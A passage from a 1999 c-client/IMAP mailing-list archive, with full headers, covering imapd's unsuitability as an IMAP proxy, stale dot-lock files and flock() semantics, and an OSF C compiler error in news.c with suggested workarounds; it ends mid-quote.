23 Aug 1999 12:49:13 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Rubinstein, Dmitry" Cc: "'c-client@u.washington.edu'" Subject: RE: mail_uid_sequence: a performance hog In-Reply-To: <71230E2CB02FD31181710004AC1509D70EAD25@UNITY-EX.QUANTUM.icomverse.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 23 Aug 1999 22:45:27 +0300, Rubinstein, Dmitry wrote: > I can't see how it can be. The function mail_uid_sequence() is being called > from imapd.c every time a UID FETCH (and not only it) is issued. Once this > function is called, and once the sequence has '*' in it, a call to > mail_uid() is issued, which, in case the UID is not already there, causes a > fetch of UID (over network, in case of IMAP driver), which might have been > spared. This isn't a c-client issue at all. It's an imapd issue. Imapd can be used as a proxy server to another IMAP server, but it was not designed for that purpose. Imapd was designed for access to local mailboxes first and foremost, then for NNTP proxy. IMAP and POP3 proxy in imapd are more or less afterthoughts. Neither will work at all well unless you use plaintext authentication, since imapd can't log in to the target server without the password. There's no support for passing on Kerberos, etc. If you want a high-performance IMAP proxy server, you are better off building a server designed for that exclusive purpose. I would not even think of using a server which does anything other than pass through the IMAP protocol from the target server. When you use imapd as an IMAP proxy server, you essentially parse and store all the target server's IMAP into imapd's local cache, only to regenerate it to sent to the client. > Consider a client of a 'middleware' server sending the following command: > 1 UID FETCH 1:* FLAGS > We'd like this command to go to the 'real' IMAP server unchanged. You should not use imapd for this purpose. What you want is actually much simpler than imapd: a pass-through server. It shouldn't use c-client at all, since all of c-client's caching is nothing but a waste of memory and CPU. The simplest pass-through proxy server is probably no more than about 50 lines of C code. You'd want more than that to provide filtering or firewall services, but then again, you'd have to add the same additional code to imapd. From pinedev@shivax2.cac.washington.edu Mon Aug 23 13:27:18 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Mon, 23 Aug 1999 13:27:18 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id NAA10930 for ; Mon, 23 Aug 1999 13:27:16 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id NAA02608; Mon, 23 Aug 1999 13:27:15 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id NAA11935; Mon, 23 Aug 1999 13:26:11 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id NAA43738 for ; Mon, 23 Aug 1999 13:25:33 -0700 Received: from mailgw1.netvision.net.il (mailgw1.netvision.net.il [194.90.1.14]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id NAA02500 for ; Mon, 23 Aug 1999 13:25:32 -0700 Received: from unity-ex.icomverse.com (unity-ex.icomverse.com [199.203.140.35]) by mailgw1.netvision.net.il (8.9.3/8.9.3) with ESMTP id XAA01597 for ; Mon, 23 Aug 1999 23:25:29 +0300 Received: by UNITY-EX.QUANTUM.icomverse.com with Internet Mail Service (5.5.2448.0) id ; Mon, 23 Aug 1999 23:25:25 +0300 Message-Id: <71230E2CB02FD31181710004AC1509D70EAD26@UNITY-EX.QUANTUM.icomverse.com> Date: Mon, 23 Aug 1999 23:25:15 +0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Rubinstein, Dmitry" To: "'c-client@u.washington.edu'" Subject: RE: mail_uid_sequence: a performance hog MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > From: Mark Crispin [mailto:MRC@CAC.Washington.EDU] > On Mon, 23 Aug 1999 22:45:27 +0300, Rubinstein, Dmitry wrote: > > I can't see how it can be. The function mail_uid_sequence() > is being called > > from imapd.c every time a UID FETCH (and not only it) is > issued. Once this > > function is called, and once the sequence has '*' in it, a call to > > mail_uid() is issued, which, in case the UID is not already > there, causes a > > fetch of UID (over network, in case of IMAP driver), which > might have been > > spared. > > This isn't a c-client issue at all. It's an imapd issue. > Imapd can be used > as a proxy server to another IMAP server, but it was not > designed for that > purpose. Imapd was designed for access to local mailboxes > first and foremost, > then for NNTP proxy. Doesn't pine (based on c-client) works with remote IMAP servers? Anyway, if no massive use of c-client with network drivers is intended, then I remove my (original) question (and will have to make the modification in my copy of the code). > IMAP and POP3 proxy in imapd are more or less afterthoughts. > Neither will > work at all well unless you use plaintext authentication, > since imapd can't > log in to the target server without the password. There's no > support for > passing on Kerberos, etc. I'm aware of that, and had to perform the appropriate modifications. > If you want a high-performance IMAP proxy server, you are > better off building > a server designed for that exclusive purpose. I would not > even think of using > a server which does anything other than pass through the IMAP > protocol from > the target server. When you use imapd as an IMAP proxy server, you > essentially parse and store all the target server's IMAP into > imapd's local > cache, only to regenerate it to sent to the client. Our product is not just a proxy server. It has some added value, which needs a framework to reside upon. However, I aggree that imapd is not as effective as needed in order to be used with network drivers (that was exactly my original remark). > The simplest pass-through proxy server is probably no more > than about 50 lines > of C code. ;-))) That's an exaggeration of the year, I'd dare say. Unless you use very, very, VE-E-E-RY long lines. -- Dmitry Rubinstein From pinedev@shivax2.cac.washington.edu Mon Aug 23 13:49:08 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Mon, 23 Aug 1999 13:49:07 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id NAA09706 for ; Mon, 23 Aug 1999 13:49:06 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id NAA30719; Mon, 23 Aug 1999 13:49:05 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id NAA16959; Mon, 23 Aug 1999 13:47:46 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id NAA29640 for ; Mon, 23 Aug 1999 13:47:18 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (pchar@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id NAA05595 for ; Mon, 23 Aug 1999 13:47:17 -0700 Message-Id: Date: Mon, 23 Aug 1999 13:29:02 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Rubinstein, Dmitry" Cc: "'c-client@u.washington.edu'" Subject: RE: mail_uid_sequence: a performance hog In-Reply-To: <71230E2CB02FD31181710004AC1509D70EAD26@UNITY-EX.QUANTUM.icomverse.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 23 Aug 1999 23:25:15 +0300, Rubinstein, Dmitry wrote: > Doesn't pine (based on c-client) works with remote IMAP servers? What does this have to do with anything? Pine uses message sequence numbers for most things. When Pine uses UIDs, the UID is sent directly to the server. Pine handles IMAP better than almost any other IMAP client that I've seen (I've seen some truly wretched IMAP clients from Big Vendors). Even with a c-client application that only uses UIDs, the UID text is passed as given to the IMAP server to interpret. A lot of people do this, but I don't recommend it since there's a lot of neat things which you can do with IMAP if you use both UIDs and sequences. Your problem comes up *only* when you use IMAP to connect to imapd and that imapd then subsequently uses IMAP to connect to a third-party. > Our product is not just a proxy server. It has some added value, which needs > a framework to reside upon. However, I aggree that imapd is not as effective > as needed in order to be used with network drivers (that was exactly my > original remark). I am at a loss to think of what sort of framework that you need from c-client. You shouldn't do much IMAP parsing or generation at all; just pass through the IMAP from the target server. It's absurd to go to all the trouble of parsing IMAP into MESSAGECACHE/ENVELOPE/BODY structures and cached texts if all you're going to do is spit it out the other end. That's *much* more of a performance issue that whether or not an RTT is taken up for a single UID lookup on "*" (and it *is* a single lookup unless there's new mail -- c-client will cache this). You can't effectively use the SASL technology from c-client at all, since there's nothing for pass-through there. You need to build a different SASL technology, plus deal with the security issues (e.g. the stuff that prevents man-in-the-middle attacks since you are effectively a man-in-the-middle). So what you need is a capability to do credentials forwarding for those protocols which support it (e.g. Kerberos) and just pass-through on those which do not (e.g. CRAM-MD5). In other cases, you may need a special mechanism to do authentication from the proxy IMAP server to the target IMAP server. c-client has none of this. The code will show you how you go about implementing some of these things, but you need completely different code. > > The simplest pass-through proxy server is probably no more > > than about 50 lines of C code. > > ;-))) That's an exaggeration of the year, I'd dare say. Unless you use very, > very, VE-E-E-RY long lines. Not at all. The simplest pass-through simply transfers data between stdio and an open network socket. Most of the work is opening the socket. 50 lines may be too much. This doesn't include any of your value-added features, but you need to write that code anyway, whether you use imapd as your base or your own code. Now, if you wish to have local mailbox capability in your server, then it makes sense to use imapd/c-client as a base. However, I would still recommend treating proxy as a special case. Either have a separate application for proxy, or if the same machine needs to do both proxy and local, then have a way to switch to the proxy application once you realize which mode to be in. Imapd can do proxy, but it isn't recommended or suitable for any sort of heavy duty use. The lack of credentials forwarding is also a problem. From pinedev@shivax2.cac.washington.edu Tue Aug 24 07:09:51 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 24 Aug 1999 07:09:51 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id HAA27858 for ; Tue, 24 Aug 1999 07:09:50 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id HAA16009; Tue, 24 Aug 1999 07:09:48 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id HAA03829; Tue, 24 Aug 1999 07:08:54 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id HAA47352 for ; Tue, 24 Aug 1999 07:07:08 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.08) with ESMTP id HAA20461 for ; Tue, 24 Aug 1999 07:07:08 -0700 Received: from aragorn.neomedia.it (aragorn.neomedia.it [195.103.207.6]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id HAA21412 for ; Tue, 24 Aug 1999 07:07:06 -0700 Received: from neomedia.it (elrond.neomedia.it [195.120.250.8]) by aragorn.neomedia.it (8.9.3/8.9.3) with ESMTP id QAA28403 for ; Tue, 24 Aug 1999 16:07:03 +0200 (CEST) Message-Id: <37C2A707.8268AEC6@neomedia.it> Date: Tue, 24 Aug 1999 16:07:03 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Federico Giannici To: c-client@CAC.Washington.EDU Subject: Troubles with "dot locks" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: giannici@neomedia.it X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I have installed the ipop3d and imapd servers since about a week. They are installed in a UNIX PC, with OpenBSD 2.5 i386. They seam to work ok, but I have some problem with the "dot locks" (the ones into the /tmp directory). >From time to time (about a couple times a day) a dot-lock file remains into the /tmp directory while the associated process no longer exists. Obviously this is really bad because the user can no longer read his email... Now I have two questions: 1) Is this behaviour normal? What I could try to solve it? 2) Assuming that the flock() function is perfect, what is the reason to use these "dot locks"? Isn't the flock() mechanism sufficient? Thanks, ___________________________________________________ __ |- giannici@neomedia.it |ederico Giannici http://www.neomedia.it Amministratore unico - NEOMEDIA sas ___________________________________________________ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Aug 24 07:25:57 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 24 Aug 1999 07:25:57 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id HAA27991 for ; Tue, 24 Aug 1999 07:25:56 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id HAA16275; Tue, 24 Aug 1999 07:25:53 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id HAA01333; Tue, 24 Aug 1999 07:24:27 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id HAA70794 for ; Tue, 24 Aug 1999 07:23:24 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id HAA24977 for ; Tue, 24 Aug 1999 07:23:24 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (ctw@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id HAA21699 for ; Tue, 24 Aug 1999 07:23:24 -0700 Message-Id: Date: Tue, 24 Aug 1999 07:19:31 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Federico Giannici Cc: c-client@CAC.Washington.EDU Subject: re: Troubles with "dot locks" In-Reply-To: <37C2A707.8268AEC6@neomedia.it> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 24 Aug 1999 16:07:03 +0200, Federico Giannici wrote: > >From time to time (about a couple times a day) a dot-lock file remains > into the /tmp directory while the associated process no longer exists. > Obviously this is really bad because the user can no longer read his > email... > 1) Is this behaviour normal? What I could try to solve it? No, it is not normal for a user to be locked out. Did you modify the source code? In particular, did you change lock file protection from its default 0666? Certain sorcerer's apprentices advocate doing this; if you followed their (incorrect) advice that could be the cause. > 2) Assuming that the flock() function is perfect, what is the reason to > use these "dot locks"? Please read the file imap-4.6/docs/locking for an explanation. > Isn't the flock() mechanism sufficient? Not it is not. Two separate and independent lock states are required for proper and safe operation. From pinedev@shivax2.cac.washington.edu Tue Aug 24 07:54:39 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 24 Aug 1999 07:54:39 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id HAA28185 for ; Tue, 24 Aug 1999 07:54:38 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id HAA22255; Tue, 24 Aug 1999 07:54:36 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id HAA05392; Tue, 24 Aug 1999 07:53:50 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id HAA14996 for ; Tue, 24 Aug 1999 07:53:23 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id HAA11286 for ; Tue, 24 Aug 1999 07:53:23 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (fwa@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id HAA16836 for ; Tue, 24 Aug 1999 07:53:23 -0700 Message-Id: Date: Tue, 24 Aug 1999 07:53:17 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Federico Giannici Cc: c-client@CAC.Washington.EDU Subject: Re: Troubles with "dot locks" In-Reply-To: <37C2B143.C51D5C6C@neomedia.it> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 24 Aug 1999, Federico Giannici wrote: > The only difference from what is written into the docs is that my > /usr/tmp is 0644 instead of 01777. > > Is /usr/tmp used in any way? /usr/tmp is used by many implementations of tmpfile(). It should be 01777. From pinedev@shivax2.cac.washington.edu Tue Aug 24 08:09:52 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 24 Aug 1999 08:09:52 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id IAA28599 for ; Tue, 24 Aug 1999 08:09:51 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id IAA17225; Tue, 24 Aug 1999 08:09:49 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id IAA18205; Tue, 24 Aug 1999 08:08:46 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA54390 for ; Tue, 24 Aug 1999 08:07:41 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id HAA27255 for ; Tue, 24 Aug 1999 07:50:48 -0700 Received: from aragorn.neomedia.it (aragorn.neomedia.it [195.103.207.6]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id HAA22193; Tue, 24 Aug 1999 07:50:44 -0700 Received: from neomedia.it (elrond.neomedia.it [195.120.250.8]) by aragorn.neomedia.it (8.9.3/8.9.3) with ESMTP id QAA22259; Tue, 24 Aug 1999 16:50:43 +0200 (CEST) Message-Id: <37C2B143.C51D5C6C@neomedia.it> Date: Tue, 24 Aug 1999 16:50:43 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Federico Giannici To: Mark Crispin Cc: c-client@CAC.Washington.EDU Subject: Re: Troubles with "dot locks" References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: giannici@neomedia.it X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > > On Tue, 24 Aug 1999 16:07:03 +0200, Federico Giannici wrote: > > >From time to time (about a couple times a day) a dot-lock file remains > > into the /tmp directory while the associated process no longer exists. > > Obviously this is really bad because the user can no longer read his > > email... > > 1) Is this behaviour normal? What I could try to solve it? > > No, it is not normal for a user to be locked out. > > Did you modify the source code? I made only a very little modification, but in server_login() for a custom password checking... > In particular, did you change lock file > protection from its default 0666? Certain sorcerer's apprentices advocate > doing this; if you followed their (incorrect) advice that could be the cause. Absolutely not! The only difference from what is written into the docs is that my /usr/tmp is 0644 instead of 01777. Is /usr/tmp used in any way? > > 2) Assuming that the flock() function is perfect, what is the reason to > > use these "dot locks"? > > Please read the file imap-4.6/docs/locking for an explanation. I already read it, but it only says that this third mechanism is necessary but doesn'y say why! What cannot you do with flock()? > > Isn't the flock() mechanism sufficient? > > Not it is not. Two separate and independent lock states are required for > proper and safe operation. Ok, so I have to make it work... But how??? Thanks, ___________________________________________________ __ |- giannici@neomedia.it |ederico Giannici http://www.neomedia.it Amministratore unico - NEOMEDIA sas ___________________________________________________ From pinedev@shivax2.cac.washington.edu Wed Aug 25 14:44:16 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 25 Aug 1999 14:44:15 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id OAA32398 for ; Wed, 25 Aug 1999 14:44:14 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id OAA25581; Wed, 25 Aug 1999 14:44:12 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id OAA06502; Wed, 25 Aug 1999 14:42:57 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA64980 for ; Wed, 25 Aug 1999 14:40:29 -0700 Received: from molbio.unmc.edu (molbio.unmc.edu [137.197.214.37]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.08) with ESMTP id OAA32056 for ; Wed, 25 Aug 1999 14:40:27 -0700 Received: from windsurf2 (windsurf2.unmc.edu [137.197.214.115]) by molbio.unmc.edu (8.9.1b+Sun/8.9.1) with ESMTP id QAA28029 for ; Wed, 25 Aug 1999 16:41:48 -0500 (CDT) Message-Id: <4.2.0.58.19990825163735.00b429f0@137.197.214.37> Date: Wed, 25 Aug 1999 16:42:25 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Chad Price To: c-client@u.washington.edu Subject: OSF 4.0F compile failure using cc Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Sender: cprice@137.197.214.37 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN (gcc fails miserably since the build script insists on putting things like -Olimit 1500 in the compile command so I used the Dec/Compaq/OSF cc compiler.) Here's the error. the news.c which fails appears to be in imap/c-client (of the 3 sites where it is found: ./imap/src/osdep/unix/news.c ./imap/src/osdep/amiga/news.c ./imap/c-client/news.c ) Suggestions? /usr/local/src/pine/pine4.10 # ./build osf 2>&1 >compile-out cc: Error: news.c, line 186: In this statement, "strcpy(...)" and "6" cannot be added. (noadd) lcl = strcpy (name,"#news.") + 6; ----------^ make[3]: *** [news.o] Error 1 make[2]: *** [osf] Error 2 Chad Price Systems Manager University of Nebraska Medical Center 600 S 42nd St Omaha, NE 68506-6495 cprice@molbio.unmc.edu (402) 559-9527 (402) 559-4077 (FAX) -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Aug 25 15:07:11 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 25 Aug 1999 15:07:11 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id PAA00309 for ; Wed, 25 Aug 1999 15:07:10 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id PAA26194; Wed, 25 Aug 1999 15:07:08 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id PAA13660; Wed, 25 Aug 1999 15:05:49 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id PAA62294 for ; Wed, 25 Aug 1999 15:04:01 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (csp@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.08) with ESMTP id PAA03280 for ; Wed, 25 Aug 1999 15:04:00 -0700 Message-Id: Date: Wed, 25 Aug 1999 14:59:10 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Chad Price Cc: c-client@u.washington.edu Subject: re: OSF 4.0F compile failure using cc In-Reply-To: <4.2.0.58.19990825163735.00b429f0@137.197.214.37> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Either get a newer version of the OSF C compiler, or get an updated IMAP toolkit ftp://ftp.cac.washington.edu/mail/imap.tar.Z that works around the problem. The underlying problem is a bug in the OSF C compiler. It is not the first such bug; that compiler has also generated bad code (for example, post incremented shorts). From pinedev@shivax2.cac.washington.edu Wed Aug 25 17:32:31 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 25 Aug 1999 17:32:31 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id RAA02951 for ; Wed, 25 Aug 1999 17:32:30 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id RAA02741; Wed, 25 Aug 1999 17:32:27 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id RAA11148; Wed, 25 Aug 1999 17:31:10 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id RAA34832 for ; Wed, 25 Aug 1999 17:30:36 -0700 Received: from centonline.com (mail.centonline.com [204.238.52.24]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.08) with ESMTP id RAA05681 for ; Wed, 25 Aug 1999 17:30:30 -0700 Received: from cvis0.centonline.com (cvis0 [204.238.52.4]) by centonline.com (8.8.8/8.8.8) with ESMTP id TAA16155; Wed, 25 Aug 1999 19:28:02 -0500 Message-Id: Date: Wed, 25 Aug 1999 20:33:32 -0500 (CDT) Reply-To: wsuetholz@centonline.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: wsuetholz@centonline.com To: Chad Price Cc: c-client@u.washington.edu Subject: RE: OSF 4.0F compile failure using cc In-Reply-To: <4.2.0.58.19990825163735.00b429f0@137.197.214.37> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 X-Sender: bill@cvis0.centonline.com X-Priority: 3 (Normal) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This compiler seems kind of strict... You can typecast things. ie: (assuming lcl is char*) lcl = (char *)((long)strcpy (name, "#news.") + 6) There are problems with the above if your char pointer type is not really a long however. If there is a way to flag the compiler to not be so strict about the ansi C stuff, and allow legacy C code, maybe that should be used instead. Bill Suetholz On 25-Aug-99 Chad Price wrote: > (gcc fails miserably since the build script insists on putting things like > -Olimit 1500 in the compile command so I used the Dec/Compaq/OSF cc > compiler.) > > Here's the error. the news.c which fails appears to be in imap/c-client > (of the 3 sites where it is found: > ./imap/src/osdep/unix/news.c > ./imap/src/osdep/amiga/news.c > ./imap/c-client/news.c > ) > > Suggestions? > > > /usr/local/src/pine/pine4.10 ># ./build osf 2>&1 >compile-out > cc: Error: news.c, line 186: In this statement, "strcpy(...)" and 